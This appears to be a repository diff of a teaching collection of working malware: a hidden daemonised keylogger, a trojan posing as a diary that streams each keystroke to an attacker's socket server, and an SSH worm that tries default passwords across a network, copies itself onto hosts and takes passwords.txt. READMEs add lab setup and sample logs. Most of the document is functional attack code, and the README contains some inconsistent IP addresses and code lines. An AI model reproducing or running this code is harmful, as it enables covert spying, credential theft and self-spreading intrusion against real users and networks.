|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#!/usr/bin/env python3
|
| 2 |
+
|
| 3 |
+
""" Implementation of simple keylogger in Python.
|
| 4 |
+
"""
|
| 5 |
+
|
| 6 |
+
import daemon
|
| 7 |
+
import logging
|
| 8 |
+
import pyxhook
|
| 9 |
+
|
| 10 |
+
|
| 11 |
+
class Keylogger:
|
| 12 |
+
""" This class represents the code injecting malware. """
|
| 13 |
+
|
| 14 |
+
def __init__(self, name):
|
| 15 |
+
self._name = name
|
| 16 |
+
|
| 17 |
+
@property
|
| 18 |
+
def name(self):
|
| 19 |
+
""" Name of the malware. """
|
| 20 |
+
return self._name
|
| 21 |
+
|
| 22 |
+
@name.setter
|
| 23 |
+
def name(self, new_name):
|
| 24 |
+
self._name = new_name
|
| 25 |
+
|
| 26 |
+
def start_logging(self):
|
| 27 |
+
""" Log every keystroke of the user into log file. """
|
| 28 |
+
# Crete hook manager.
|
| 29 |
+
hook_manager = pyxhook.HookManager()
|
| 30 |
+
# Assign callback for handling key strokes.
|
| 31 |
+
hook_manager.KeyDown = self._keydown_callback
|
| 32 |
+
# Hook the keyboard and start logging.
|
| 33 |
+
hook_manager.HookKeyboard()
|
| 34 |
+
hook_manager.start()
|
| 35 |
+
|
| 36 |
+
def _keydown_callback(self, key):
|
| 37 |
+
""" This function is handler of key stroke event. """
|
| 38 |
+
logging.debug(chr(key.Ascii))
|
| 39 |
+
|
| 40 |
+
|
| 41 |
+
if __name__ == '__main__':
|
| 42 |
+
# Setup logger.
|
| 43 |
+
logging.basicConfig(
|
| 44 |
+
level=logging.DEBUG,
|
| 45 |
+
filename='activity.log',
|
| 46 |
+
format='Key: %(message)s',
|
| 47 |
+
)
|
| 48 |
+
# Get file handler. We need to pass it to our daemon.
|
| 49 |
+
handler = logging.getLogger().handlers[0].stream
|
| 50 |
+
|
| 51 |
+
# Daemonize the process to hide it from the victim.
|
| 52 |
+
with daemon.DaemonContext(files_preserve=[handler]):
|
| 53 |
+
# Create keylogger.
|
| 54 |
+
keylogger = Keylogger('SimpleSpyware')
|
| 55 |
+
# Start logging activity of the user.
|
| 56 |
+
keylogger.start_logging()
|
trojan/README.md
ADDED
|
@@ -0,0 +1,91 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
# Trojan
|
| 2 |
+
|
| 3 |
+
Our **trojan** is implemented in the file `trojan.py`. It tries to collect data from the victim disquised as a common diary and send them secretly to the server of the attacker. The server is implemented in the file `server.py`. We should be able to see all notes written into the diary without any knowledge of the victim.
|
| 4 |
+
|
| 5 |
+
#### Demonstration of behavior
|
| 6 |
+
|
| 7 |
+
The first thing that the attacker must do is to set a server that collects data sent by the victim. That's why we setup a running server on our computer by running `./server.py`. You should see the following text:
|
| 8 |
+
```
|
| 9 |
+
DEBUG:user:Server was successfully initialized.
|
| 10 |
+
```
|
| 11 |
+
In the second console run the **trojan** (diary) as the victim with the command `./trojan.py`. On the attacker's console we should immediately see the following text:
|
| 12 |
+
```
|
| 13 |
+
Connection with trojan established from ('127.0.0.1', 46682)
|
| 14 |
+
```
|
| 15 |
+
That means that our client has made a successful connection to our server. Type a few lines of notes into the diary. We can observe that all notes are being shown to the attacker as well.
|
| 16 |
+
|
| 17 |
+
##### What does the victim see
|
| 18 |
+
```
|
| 19 |
+
Hello, this is your diary. You can type here your notes:
|
| 20 |
+
Hello diary,
|
| 21 |
+
let me tell you a secret.
|
| 22 |
+
...
|
| 23 |
+
```
|
| 24 |
+
##### What does the attacker see
|
| 25 |
+
```
|
| 26 |
+
DEBUG:user:Server was successfully initialized.
|
| 27 |
+
Connection with trojan established from ('127.0.0.1', 46682)
|
| 28 |
+
INFO:user:b'Hello diary,\n'
|
| 29 |
+
INFO:user:b'let me tell you a secret.\n'
|
| 30 |
+
...
|
| 31 |
+
```
|
| 32 |
+
|
| 33 |
+
Creation of basic **trojan** is very simple process as it is described below and anyone can do it just with the basic knowledge of programming and understandment of operating systems. That's why we should be always cautious when we execute any uncommon or not trusted file.
|
| 34 |
+
|
| 35 |
+
#### How does it work?
|
| 36 |
+
|
| 37 |
+
##### Server
|
| 38 |
+
|
| 39 |
+
- Firstly, we create our **server** that should collect the data obtained from **trojan** executed
|
| 40 |
+
by the victim. The server will listen on the specific port that must be the same as is specified in our **trojan**.
|
| 41 |
+
In this example will be both the **server** and **trojan** executed on the same computer, but the
|
| 42 |
+
**server** might be remote and located anywhere in the world.
|
| 43 |
+
```python
|
| 44 |
+
server = Server(27000)
|
| 45 |
+
```
|
| 46 |
+
The communication is realized via **TCP** protocol specified by `socket.SOCK_STREAM` (To learn more about network protocols see [the guide to network communication](https://support.holmsecurity.com/hc/en-us/articles/212963869-What-is-the-difference-between-TCP-and-UDP-). <br>
|
| 47 |
+
```python
|
| 48 |
+
self._socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
| 49 |
+
```
|
| 50 |
+
|
| 51 |
+
- Then we must initialize the server by binding it to the specified port.
|
| 52 |
+
```python
|
| 53 |
+
server.initialize()
|
| 54 |
+
```
|
| 55 |
+
- The most important part is the connection with the victim. This is implemented in the function _collect_data_ provided by the **server**. It waits for the connection initiated by the **trojan** after its execution on the victim's system. After that it just constantly checks whether the client has sent any data. If so, they are logged into the console so that the attacker can see them. If the sent data are "empty", the client has closed the connection.
|
| 56 |
+
```python
|
| 57 |
+
while True:
|
| 58 |
+
data = connection.recv(1024)
|
| 59 |
+
if not data:
|
| 60 |
+
break
|
| 61 |
+
logging.debug(data)
|
| 62 |
+
```
|
| 63 |
+
|
| 64 |
+
##### Trojan (client)
|
| 65 |
+
|
| 66 |
+
- Firstly, we must create our **trojan**. The service requires a name of the host (server) and the
|
| 67 |
+
specified port for the communication. Host named `localhost` means that the server is listening on the same
|
| 68 |
+
system as our client.
|
| 69 |
+
```python
|
| 70 |
+
trojan = Trojan('localhost', 27000)
|
| 71 |
+
```
|
| 72 |
+
- Now we try to connect to the server. This connection should remain hidden to the victim. The logging
|
| 73 |
+
message is presented just so we can spot any errors in our example.
|
| 74 |
+
```python
|
| 75 |
+
try:
|
| 76 |
+
self.socket.connect((self.host, self.port))
|
| 77 |
+
except socket.error:
|
| 78 |
+
logging.debug('Trojan could not connect to the server.')
|
| 79 |
+
return
|
| 80 |
+
```
|
| 81 |
+
|
| 82 |
+
- Then the **trojan** tries to act like a harmless program by greeting the victim.
|
| 83 |
+
```python
|
| 84 |
+
print('Hello, this is your diary. You can type your notes here:')
|
| 85 |
+
```
|
| 86 |
+
- As the victim types his or her notes into the diary (`stdin`), each line is sent to the **attacker's server**. We expect the data to be encoded as **UTF-8** and because the communication interface expects _binary_ data, we must transform the obtained _strings_ into _bytes_.
|
| 87 |
+
```python
|
| 88 |
+
while True:
|
| 89 |
+
character = sys.stdin.read(1)
|
| 90 |
+
self.socket.send(bytes(character, 'utf-8'))
|
| 91 |
+
```
|
trojan/server.py
ADDED
|
@@ -0,0 +1,65 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#!/usr/bin/env python3
|
| 2 |
+
|
| 3 |
+
""" Implementation of the server that collects data sent by trojan.
|
| 4 |
+
"""
|
| 5 |
+
|
| 6 |
+
import logging
|
| 7 |
+
import socket
|
| 8 |
+
|
| 9 |
+
|
| 10 |
+
class Server:
|
| 11 |
+
""" This class represents a server of the attacker that
|
| 12 |
+
collects data from the victim.
|
| 13 |
+
"""
|
| 14 |
+
|
| 15 |
+
def __init__(self, port):
|
| 16 |
+
self._port = port
|
| 17 |
+
# Initialize the socket for connection.
|
| 18 |
+
self._socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
| 19 |
+
|
| 20 |
+
@property
|
| 21 |
+
def port(self):
|
| 22 |
+
""" Port, on which the server runs (`int`). """
|
| 23 |
+
return self._port
|
| 24 |
+
|
| 25 |
+
@port.setter
|
| 26 |
+
def port(self, new_port):
|
| 27 |
+
self._port = new_port
|
| 28 |
+
|
| 29 |
+
@property
|
| 30 |
+
def socket(self):
|
| 31 |
+
""" Server socket. """
|
| 32 |
+
return self._socket
|
| 33 |
+
|
| 34 |
+
def initialize(self):
|
| 35 |
+
""" Initialize server before session. """
|
| 36 |
+
try:
|
| 37 |
+
self.socket.bind(('localhost', self._port))
|
| 38 |
+
self.socket.listen()
|
| 39 |
+
logging.debug('Server was successfully initialized.')
|
| 40 |
+
except socket.error:
|
| 41 |
+
print('Server was not initialized due to an error.')
|
| 42 |
+
|
| 43 |
+
def collect_data(self):
|
| 44 |
+
""" Collect data from client trojan application. """
|
| 45 |
+
# Establish a connection with the victim.
|
| 46 |
+
connection, address = self.socket.accept()
|
| 47 |
+
with connection:
|
| 48 |
+
print('Connection with trojan established from {}'.format(address))
|
| 49 |
+
|
| 50 |
+
# Receive data sent by trojan diary.
|
| 51 |
+
while True:
|
| 52 |
+
data = connection.recv(1024)
|
| 53 |
+
if not data:
|
| 54 |
+
break
|
| 55 |
+
logging.info(data)
|
| 56 |
+
|
| 57 |
+
|
| 58 |
+
if __name__ == '__main__':
|
| 59 |
+
logging.basicConfig(level=logging.DEBUG)
|
| 60 |
+
|
| 61 |
+
# Create and initialize a server running on attacker's side.
|
| 62 |
+
server = Server(27000)
|
| 63 |
+
server.initialize()
|
| 64 |
+
# Collect the data sent by trojan that was executed on victim's side.
|
| 65 |
+
server.collect_data()
|
trojan/trojan.py
ADDED
|
@@ -0,0 +1,71 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#!/usr/bin/env python3
|
| 2 |
+
|
| 3 |
+
""" Implementation of trojan that collects data and sends them to server.
|
| 4 |
+
It acts like an ordinary diary.
|
| 5 |
+
"""
|
| 6 |
+
|
| 7 |
+
import logging
|
| 8 |
+
import socket
|
| 9 |
+
import sys
|
| 10 |
+
|
| 11 |
+
|
| 12 |
+
class Trojan:
|
| 13 |
+
""" This class represents the implementation of trojan disguised
|
| 14 |
+
as diary.
|
| 15 |
+
"""
|
| 16 |
+
|
| 17 |
+
def __init__(self, host, port):
|
| 18 |
+
self._host = host
|
| 19 |
+
self._port = port
|
| 20 |
+
# Initialize socket for the connection.
|
| 21 |
+
self._socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
| 22 |
+
|
| 23 |
+
@property
|
| 24 |
+
def host(self):
|
| 25 |
+
""" Server that collects obtained data. """
|
| 26 |
+
return self._host
|
| 27 |
+
|
| 28 |
+
@host.setter
|
| 29 |
+
def host(self, new_host):
|
| 30 |
+
self._host = new_host
|
| 31 |
+
|
| 32 |
+
@property
|
| 33 |
+
def port(self):
|
| 34 |
+
""" Port, on which the server runs (`int`). """
|
| 35 |
+
return self._port
|
| 36 |
+
|
| 37 |
+
@port.setter
|
| 38 |
+
def port(self, new_port):
|
| 39 |
+
self._port = new_port
|
| 40 |
+
|
| 41 |
+
@property
|
| 42 |
+
def socket(self):
|
| 43 |
+
""" Client socket. """
|
| 44 |
+
return self._socket
|
| 45 |
+
|
| 46 |
+
def collect_data(self):
|
| 47 |
+
""" Secretly collect data and send them to server. """
|
| 48 |
+
# Create a connection to the server.
|
| 49 |
+
try:
|
| 50 |
+
self.socket.connect((self.host, self.port))
|
| 51 |
+
except socket.error:
|
| 52 |
+
logging.debug('Trojan could not connect to the server.')
|
| 53 |
+
return
|
| 54 |
+
|
| 55 |
+
# Try to act as an ordinary diary.
|
| 56 |
+
print('Hello, this is your diary. You can type here your notes: ')
|
| 57 |
+
|
| 58 |
+
# Read notes written by the victim and send them to the server.
|
| 59 |
+
while True:
|
| 60 |
+
character = sys.stdin.read(1)
|
| 61 |
+
self.socket.send(bytes(character, 'utf-8'))
|
| 62 |
+
|
| 63 |
+
|
| 64 |
+
if __name__ == '__main__':
|
| 65 |
+
logging.basicConfig(level=logging.DEBUG)
|
| 66 |
+
|
| 67 |
+
# Initialize trojan application that acts like an diary.
|
| 68 |
+
trojan = Trojan('localhost', 27000)
|
| 69 |
+
# Collect the data and send them to the server running
|
| 70 |
+
# on the attacket's side.
|
| 71 |
+
trojan.collect_data()
|
worm/README.md
ADDED
|
@@ -0,0 +1,88 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
# Worm
|
| 2 |
+
|
| 3 |
+
Our **worm** is implemented in the file `worm.py`. It tries to spread over the selected network via **SSH** connection and copy itself on the remote host. If the victim has a file **passwords.txt** in the home directory, it will obtain the file and send it back to the system of the attacker.
|
| 4 |
+
|
| 5 |
+
#### Demonstration of behavior
|
| 6 |
+
|
| 7 |
+
A valid infrastructure needs to be setup for this example. We need at least two hosts on the same network. To do this, it is recommended to setup two **virtual machines**, one for the attacker and one for the victim. To learn more about virtual machines, see [the guide to virtual machines](https://www.lifewire.com/virtual-machine-4147598). A free and popular virtualization tool is [Oracle VM VirtualBox](https://www.virtualbox.org/). For the system of the victim use [Metasploitable2](https://sourceforge.net/projects/metasploitable/files/Metasploitable2/) (a simple Linux VM often used for demostration of security vulnerabilities). Once you create both VMs, to connect them to the same network in VirtualBox go to _Setting->Network->AdapterN->Attached to_ and select Internal network. This must be done for both VMs.
|
| 8 |
+
|
| 9 |
+
Now run both systems and log in. The default credentials on the **Metasploitable2** are
|
| 10 |
+
```
|
| 11 |
+
user: msfadmin
|
| 12 |
+
pass: msfadmin
|
| 13 |
+
```
|
| 14 |
+
Make sure that you have this repo cloned on the system of the attacker. The last thing we have to do is to assign valid **IP addresses** to both machines. This can be done with the following command:
|
| 15 |
+
```
|
| 16 |
+
ip addr add [IP addr]/24 dev [Interface]
|
| 17 |
+
```
|
| 18 |
+
Assign **198.168.0.3** to the victim and **168.168.0.2** to the attacker. To make sure you have done everything correctly, make the systems ping each other.
|
| 19 |
+
```
|
| 20 |
+
Victim: ping 198.168.0.2
|
| 21 |
+
Attacker: ping 198.168.0.3
|
| 22 |
+
```
|
| 23 |
+
If you can see the response, everything is fine and we can proceed to the actual demonstration.
|
| 24 |
+
|
| 25 |
+
Make a simple file on the victim's system containing something like the following text and name it **passwords.txt**. This represents private file of the user on the vulnerable system.
|
| 26 |
+
```
|
| 27 |
+
My social media credentials
|
| 28 |
+
---------------------------
|
| 29 |
+
user: user
|
| 30 |
+
pass: mysecurepassword
|
| 31 |
+
```
|
| 32 |
+
|
| 33 |
+
Finally, we can execute our worm on the system of the attacker (`./worm.py`). This worm will try to access each host on the network and log in via **SSH**. To learn more about **SSH** see [the guide to SSH](https://medium.com/@Magical_Mudit/understanding-ssh-workflow-66a0e8d4bf65). If it succeeds, it copies itself on the vulnerable system and steals the file **passwords.txt** if the user has one. If everything was done correctly, you should see the following log of the worm. It has tried to log in to hosts **198.168.0.1** and **198.168.0.2** with various credentials and failed. But it has successfully connected to **2 users** on the system **198.168.0.3** and stole the password file from one of them. You should see this file in the same directory on the system of the attacker.
|
| 34 |
+
|
| 35 |
+
```
|
| 36 |
+
DEBUG:root:Trying to spread on the remote host: 198.168.0.1
|
| 37 |
+
DEBUG:root:The remote host refused connection with credentials user,user.
|
| 38 |
+
DEBUG:root:The remote host refused connection with credentials root,root.
|
| 39 |
+
DEBUG:root:The remote host refused connection with credentials msfadmin,msfadmin.
|
| 40 |
+
|
| 41 |
+
DEBUG:root:Trying to spread on the remote host: 198.168.0.2
|
| 42 |
+
DEBUG:root:The remote host refused connection with credentials user,user.
|
| 43 |
+
DEBUG:root:The remote host refused connection with credentials root,root.
|
| 44 |
+
DEBUG:root:The remote host refused connection with credentials msfadmin,msfadmin.
|
| 45 |
+
|
| 46 |
+
DEBUG:root:Trying to spread on the remote host: 198.168.0.3
|
| 47 |
+
DEBUG:root:The worm is succesfully connected to the remote host [user, user].
|
| 48 |
+
DEBUG:root:The victim did not have passwords.txt
|
| 49 |
+
DEBUG:root:The remote host refused connection with credentials user,user.
|
| 50 |
+
DEBUG:root:The remote host refused connection with credentials root,root.
|
| 51 |
+
DEBUG:root:The worm is succesfully connected to the remote host [msfadmin, msfadmin].
|
| 52 |
+
DEBUG:root:The victim had passwords.txt
|
| 53 |
+
...
|
| 54 |
+
```
|
| 55 |
+
|
| 56 |
+
The creation of **worm** itself is very simple process as it is described below and anyone can do it just with a basic knowledge of programming and understandment of networking. That's why we should keep our systems updated, secured and credentials strong.
|
| 57 |
+
|
| 58 |
+
#### How does it work?
|
| 59 |
+
|
| 60 |
+
- Firstly, we create our **worm** and pass it a **network address** representing the network, on which it should spread.
|
| 61 |
+
```python
|
| 62 |
+
worm = Worm('198.168.0.0')
|
| 63 |
+
```
|
| 64 |
+
- Then we call function _spread_via_ssh_, which tries to connect to each host on the network, establish an **SSH** connection and spread itself (while stealing the password file).
|
| 65 |
+
```python
|
| 66 |
+
worm.spread_via_ssh()
|
| 67 |
+
```
|
| 68 |
+
- At the beginning, this method creates an **SSHClient** from _paramiko_ module that would help us to create the connection.
|
| 69 |
+
```python
|
| 70 |
+
ssh = paramiko.SSHClient()
|
| 71 |
+
ssh.get_missing_host_key_policy(paramiko.AutoAddPolicy())
|
| 72 |
+
```
|
| 73 |
+
- Then it iterates over all host addresses on the network (implemented as generator _generate_addresses_on_network_). The worm contains property _credentials_, which represents combinations of usernames and passwords that the worm is willing to try. That means that it will try to login via **SSH** 3 times on each host. **SSH** uses port 22.
|
| 74 |
+
```python
|
| 75 |
+
for remote_address in self.generate_addresses_on_network():
|
| 76 |
+
for user, passw in self.credentials:
|
| 77 |
+
try:
|
| 78 |
+
ssh.connect(remote_address, port=22, username=user, password=passw)
|
| 79 |
+
...
|
| 80 |
+
```
|
| 81 |
+
- If the connection fails, it is captured as an exception and the worm continues with another user or host. However, if the connection is established (as in the case of **198.162.0.3**), we can create an **SCP client** that will transmit our files. To learn more about **SCP**, see [the guide to SCP](https://en.wikipedia.org/wiki/Secure_copy).
|
| 82 |
+
```
|
| 83 |
+
scp_client = scp.SCPClient(ssh.get_transport())
|
| 84 |
+
- Now we can execute file transmition commands. One will obtain the password file and the second one will send the worm to the remote host. A name of the file is obtained from the system arguments.
|
| 85 |
+
```python
|
| 86 |
+
scp_client.get('password.txt')
|
| 87 |
+
scp_client.put(sys.argv[0])
|
| 88 |
+
```
|
worm/worm.py
ADDED
|
@@ -0,0 +1,98 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#!/usr/bin/env python3
|
| 2 |
+
|
| 3 |
+
""" Implementation of simple worm that spreads via SSH connection.
|
| 4 |
+
"""
|
| 5 |
+
|
| 6 |
+
import logging
|
| 7 |
+
import paramiko
|
| 8 |
+
import scp
|
| 9 |
+
import sys
|
| 10 |
+
|
| 11 |
+
|
| 12 |
+
class Worm:
|
| 13 |
+
""" This class represents implementation of worm that spreads via SSH
|
| 14 |
+
connections.
|
| 15 |
+
"""
|
| 16 |
+
|
| 17 |
+
def __init__(self, network_address):
|
| 18 |
+
self._network = network_address
|
| 19 |
+
|
| 20 |
+
@property
|
| 21 |
+
def network(self):
|
| 22 |
+
""" Network, on which the worm spreads. """
|
| 23 |
+
return self._network
|
| 24 |
+
|
| 25 |
+
@network.setter
|
| 26 |
+
def network(self, new_network):
|
| 27 |
+
self._network = new_network
|
| 28 |
+
|
| 29 |
+
@property
|
| 30 |
+
def credentials(self):
|
| 31 |
+
""" Possible SSH credentials of the victim. """
|
| 32 |
+
return (
|
| 33 |
+
('user', 'user'),
|
| 34 |
+
('root', 'root'),
|
| 35 |
+
('msfadmin', 'msfadmin')
|
| 36 |
+
)
|
| 37 |
+
|
| 38 |
+
def generate_addresses_on_network(self):
|
| 39 |
+
""" Generate addresses of hosts on the given network.
|
| 40 |
+
For simplicity is expected the following mask:
|
| 41 |
+
255.255.255.0
|
| 42 |
+
"""
|
| 43 |
+
network = self.network.split('.')
|
| 44 |
+
for host in range(1, 256):
|
| 45 |
+
network[-1] = str(host)
|
| 46 |
+
yield '.'.join(network)
|
| 47 |
+
|
| 48 |
+
def spread_via_ssh(self):
|
| 49 |
+
""" Spread the worm on the network via SSH connections.
|
| 50 |
+
To establish SSH connection try selected user-password
|
| 51 |
+
combinations. When the connection is established, copy
|
| 52 |
+
the worm to the remote host.
|
| 53 |
+
"""
|
| 54 |
+
# Setup SSH client.
|
| 55 |
+
ssh = paramiko.SSHClient()
|
| 56 |
+
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
|
| 57 |
+
|
| 58 |
+
for remote_address in self.generate_addresses_on_network():
|
| 59 |
+
logging.debug('Trying to spread on the remote host: {}'.format(remote_address))
|
| 60 |
+
print()
|
| 61 |
+
|
| 62 |
+
for user, passw in self.credentials:
|
| 63 |
+
try:
|
| 64 |
+
ssh.connect(remote_address, port=22, username=user, password=passw, timeout=10)
|
| 65 |
+
logging.debug('The worm is succesfully connected to the remote host [{}, {}].'.format(user, passw))
|
| 66 |
+
|
| 67 |
+
# Create SCP client for file transmission.
|
| 68 |
+
with scp.SCPClient(ssh.get_transport()) as scp_client:
|
| 69 |
+
# Obtain file with victim's passwords.
|
| 70 |
+
try:
|
| 71 |
+
scp_client.get('passwords.txt')
|
| 72 |
+
logging.debug('The victim had passwords.txt')
|
| 73 |
+
except Exception:
|
| 74 |
+
logging.debug('The victim did not have passwords.txt')
|
| 75 |
+
|
| 76 |
+
# Upload worm to the remote host.
|
| 77 |
+
try:
|
| 78 |
+
scp_client.put(sys.argv[0])
|
| 79 |
+
logging.debug('The worm has been uploaded to victim')
|
| 80 |
+
except Exception:
|
| 81 |
+
logging.debug('The worm could not be uploaded to victim')
|
| 82 |
+
|
| 83 |
+
print()
|
| 84 |
+
except Exception:
|
| 85 |
+
logging.debug('The remote host refused connection with credentials {},{}.'.format(user, passw))
|
| 86 |
+
print()
|
| 87 |
+
|
| 88 |
+
ssh.close()
|
| 89 |
+
|
| 90 |
+
if __name__ == '__main__':
|
| 91 |
+
logging.basicConfig(level=logging.DEBUG)
|
| 92 |
+
# Disable basic logging of paramiko to make log easier to read.
|
| 93 |
+
logging.getLogger('paramiko').setLevel(logging.CRITICAL)
|
| 94 |
+
|
| 95 |
+
# Initialize worm with the network address.
|
| 96 |
+
worm = Worm('198.168.0.0')
|
| 97 |
+
# Spread via SSH connection on the network.
|
| 98 |
+
worm.spread_via_ssh()
|